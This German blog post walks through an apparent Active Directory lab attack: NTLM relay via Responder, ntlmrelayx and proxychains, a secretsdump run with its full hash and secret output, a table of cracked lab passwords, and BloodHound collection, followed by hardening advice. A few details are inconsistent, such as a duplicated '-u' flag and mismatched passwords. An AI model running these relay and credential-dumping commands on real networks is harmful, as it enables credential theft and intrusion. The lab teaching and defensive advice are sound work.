Im obigen “Poisoning mit Responder” Abschnitt konnten wir leider kein Passwort für “eddard.stark” per Hashcat ermitteln. Jedoch können wir hier den NTLM-Relay Angriff anwenden. Denn zwei Server in unserem Active Directory erfordern keine Signaturen. Bedeutet also, dass wir eigene Anfragen mit dem NTLM-Hash des Nutzers stellen können. Eine Signatur würde dies vermeiden, weil wir den Signaturschlüssel nicht kennen würden, mit welchem die Anfragen signiert wären.

Konkret nutzen wir das Proxy-Tool “proxychains”, um Anfragen per SOCKS durch das NTLM-Relay von “eddard.stark” zu leiten. So können wir auf dem jeweiligen Server (192.168.56.22 oder 192.168.56.23, da diese keine Signaturen fordern) im Kontext des Nutzers agieren. Das NTLM-Relay wird durch das Tool “ntlmrelayx” realisiert. Proxychains ist bereits auf Kali installiert, ntlmrelayx muss jedoch nachinstalliert werden.

Zuerst muss die Tool-Sammlung “impacket”, worin ntlmrelayx enthalten ist, geklont werden.

git clone https://github.com/fortra/impacket.git

Danach folgt die Installation von den impacket Tools.

cd impacket/
sudo python3 setup.py install

Nun kann ntlmrelayx per ntlmrelayx.py global aufgerufen werden.

Um nun das Relaying zu ermöglichen, muss noch die Responder Konfiguration unter /etc/responder/Responder.conf angepasst werden. Hier sind die beiden Einträge “SMB” und “HTTP” zu deaktivieren, denn beide Protokolle werden durch ntlmrelayx belegt:

; Servers to start
...
SMB      = Off
HTTP     = Off
...

Gegebenenfalls muss die proxychains Konfiguration angepasst werden, damit der korrekte SOCKS-Port gewählt wird. Die Datei ist unter /etc/proxychains4.conf auffindbar. Im letzten Eintrag ist der Port zu finden. In meinem Fall musste der Port auf 1080 statt 9050 gewählt werden.

Um nun das NTLM Relaying durchzuführen, sollte zuerst der NTLM Relay Server mit folgendem Befehl gestartet werden. Die einzelnen Befehle können bei reinem CLI Zugriff mit dem Tool “screen” in eigene Terminal-Prozesse ausgelagert werden.

ntlmrelayx.py -tf servers.txt -smb2support -socks

Danach ist der Responder zu starten. Hier ist wieder darauf zu achten, dass das richtige Netzwerk-Interface -I ausgewählt wird.

responder -I eth1

Nun können über das Tool “proxychains” diverse Befehle durch das NTLM-Relay geführt werden. Dabei können per proxychains smbclient //192.168.56.22/c$ -U NORTH/EDDARD.STARK die Shares auf dem SQL-Server durchsucht werden. Hier ist jedoch nichts Interessantes zu finden.

Andererseits können verschiedene Tools, wie secretsdump.py durch durch das NTLM-Relay geleitet werden. Dieses Tool liest beispielsweise die Credentials aus, die auf dem Server auffindbar sind. Das Tool ist ebenfalls in der impacket Tool-Sammlung enthalten. Folgender Befehl leitet nun die Credential-Suche durch das Relay.

proxychains secretsdump.py -no-pass NORTH/[email protected]

secretsdump.py hat dabei folgendes Ergebnis geliefert:

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.56.22:445  ...  OK
[*] Target system bootKey: 0x663588a8993ef08f0d5c0127dabc4127
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dc0c95588964884d7e1dfea1f7:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2024-12-19 17:10:13+00:00)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2024-12-23 02:04:13+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:ada08c1bd73f40e2a5ba521fc560216f6da35ef48f06bf413b994b1e9ade95c9
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:885e09645a91c0dea3cec21f4dc1daac
NORTH\CASTELBLACK$:des-cbc-md5:e001d52a37ab890e
NORTH\CASTELBLACK$:plain_password_hex:79006d004b00540066002c002c004100410029003c002e0032003c003800530040003500790043003a00780041005d007900780034002b0064003a00630077004b0076005000760053007000590044004b00290041004e0072004100460063006e002600750070004a007a004c0070002800220033003f00740023003d004000300073003c006900350026004d004a005900450034002e007a00380036004f00490049003e00630068002700500030003d0064004d0042002b00270058006e00700046002500370020002b003f003c004700390044004e00660050006c00460028003800410076004e00660074002f00
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:48160e8c1e8ff36df65e854f4252d311:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xd0e47ca14e33043470bf07493c58fd60b6d4511e
dpapi_userkey:0x26182e8c1fbcd4ce4c8fdf9e76bbd12fa7bda440
[*] NL$KM 
 0000   22 34 01 76 01 70 30 93  88 A7 6B B2 87 43 59 69   "4.v.p0...k..CYi
 0010   0E 41 BD 22 0A 0C CC 23  3A 5B B6 74 CB 90 D6 35   .A."...#:[.t...5
 0020   14 CA D8 45 4A F0 DB 72  D5 CF 3B A1 ED 7F 3A 98   ...EJ..r..;...:.
 0030   CD 4D D6 36 6A 35 24 2D  A0 EB 0F 8E 3F 52 81 C9   .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] _SC_MSSQL$SQLEXPRESS 
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...

Hier haben wir das Passwort “YouWillNotKerboroast1ngMeeeeee” vom SQL Service Nutzer ausgelesen. Zudem werden diverse Hashes zurückgegeben, welche per Hashcat geknackt werden können. Der Versuch den NT-Hash des Administrations-Accounts mit Hashcat, der “rockyou” Wordlist und dem Modus 1000 zu knacken führt leider zu keinem Ergebnis. Denn das Knacken dauert zu lange (zumindest auf meiner Kali VM).

Zusammenfassung der Ergebnisse

Die folgende Tabelle zeigt eine Übersicht der relevanten Ergebnisse aus den obigen Angriffen:

Domäne	Nutzer	Passwort
NORTH	samwell.tarly	Heartsbane
NORTH	robb.stark	sexywolfy
NORTH	brandon.stark	iseedeadpeople
NORTH	jon.snow	iknownothing
NORTH	sql_svc	YouWillNotKerboroast1ngMeeeeee
ESSOS	missandei	fr3edom

Für den Nutzer “eddard.stark” konnten wir zudem ein NTLM-Relay aufbauen.

Außerdem haben wir die vollständigen Nutzerlisten aus allen Domänen abfragen können. Daneben haben wir die Möglichkeit noch weitere Informationen, wie Gruppen, Password Policies, etc. auslesen zu können.

All jene Informationen bieten eine gute Grundlage, weiter in das Active Directory einzudringen.

Aufbereitung mit Bloodhound

Wir versuchen nun ein umfassendes Bild der Domänen anhand von Bloodhound zu erstellen. So können wir einen Überblick des ADs erhalten und außerdem Pfade finden, wie wir über diverse Nutzer an relevante Services oder Shares gelangen.

Wir nutzen die modernere Version von Bloodhound und zwar, die Community Edition. Das Github Respository beschreibt die Installation sehr intuitiv: https://github.com/SpecterOps/BloodHound. Zusätzlich muss der Bloodhound Ingestor installiert werden, welcher die Daten sammelt und aufbereit, damit diese später in Bloodhound CE dargestellt werden können. Unter Kali ist der Ingestor bereits vorinstalliert, jedoch müssen wir eine spezifische Version herunterladen, welche Bloodhound CE unterstützt. Dies machen wir folgend.

git clone -b bloodhound-ce https://github.com/dirkjanm/BloodHound.py.git 
cd BloodHound.py

Wir können jetzt über Aufruf des “bloodhound” Ordners, den Ingestor mit BloodHound CE Unterstützung nutzen. Die folgenden Befehle sammeln alle Informationen über die drei Domänen. Hierfür nutzen wir den Nutzer “robb.stark”. Sehen wir uns die zu verwendenden Parameter an.

-zip: Verpackt den JSON-Output in ein ZIP-Archiv
-c: Gibt die Methode zur Sammlung der Daten an. In unserem Beispiel möchten wir alles sammeln, deshalb der Wert All
-d: Gibt die zu durchsuchende Domäne an
-u: Gibt den Nutzer an, mit welchem sich an der Domäne authentifiziert wird.
-u: Gibt das Passwort des Nutzers an, mit welchem sich an der Domäne authentifiziert wird.
-dc: Gibt die Adresse des Domain Controllers an.
-ns: Gibt den zu verwendenden DNS-Server an, welcher für die Auflösung der Servernamen zuständig ist.
-op: Legt das Prefix des ZIP-Archivs an, damit die Ausgaben differenziert werden können.

python3 bloodhound --zip -c All -d north.sevenkingdoms.local -u robb.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10 -op north
python3 bloodhound --zip -c All -d sevenkingdoms.local -u [email protected] -p sexywolfy -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10 -op sevenkingdoms
python3 bloodhound --zip -c All -d essos.local -u [email protected] -p sexywolfy -dc meereen.essos.local -ns 192.168.56.10 -op essos

Die ZIP-Archive können dann im BloodHound CE Interface unter “Einstellungen>Administration>File Ingest> Upload Files” hochgeladen werden. In meinem Fall sind beim Upload Fehlermeldungen aufgetaucht, jedoch hat BloodHound die Daten dennoch in seine Datenbank übernommen.

Nun können per Cipher-Querries diverse Zusammenhänge zwischen den Daten abgefragt werden. Ähnlich wie bei SQL-Querries. Ein Beispiel hierzu zeigt, welche Nutzer “kerberroastable” sind, weil sie SPNs (hasspn=true) besitzen.

MATCH (n:User) WHERE n.hasspn=true
RETURN n

Das folgende Bild zeigt die Ausgabe der Query. Ergebnis Kerberoastable Query

Ein anderes Beispiel zeigt die Nutzer, welche für AS-REP Roasting verwundbar sind. Das bedeutet also, dass diese Nutzer, keine Pre-Authentication forcieren.

AS-REP Roastable:
MATCH (u:User {dontreqpreauth: true}) RETURN u

Das folgende Bild zeigt die Ausgabe der Query. Ergebnis AS-REP Roastable Query

Für weitere Querries kann ich das Cheatsheet von Hausec empfehlen: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

Fazit

Wir haben in diesem Blogbeitrag einige Angriffsvektoren gesehen, welche durch unsaubere oder unsichere Konfigurationen entstehen. Hier sollten vier Punkte bei der Konifguration beachtet werden.

Signaturen müssen forciert werden, damit ein NTLM-Relaying nicht mehr möglich ist.
Die Pre-Authentication muss forciert werden, damit das AS-REP Roasting unterbunden wird.
Zudem müssen Null Sessions deaktiviert werden, damit keine anonyme Enumteration des Active Directories möglich wird.
Die Password Policy der NORTH Domäne weist ein Minimum von fünf Zeichen auf. Dies ist für die heutigen Ansprüche deutlich zu wenig. Ein Minimum von 8 ist hier angebracht.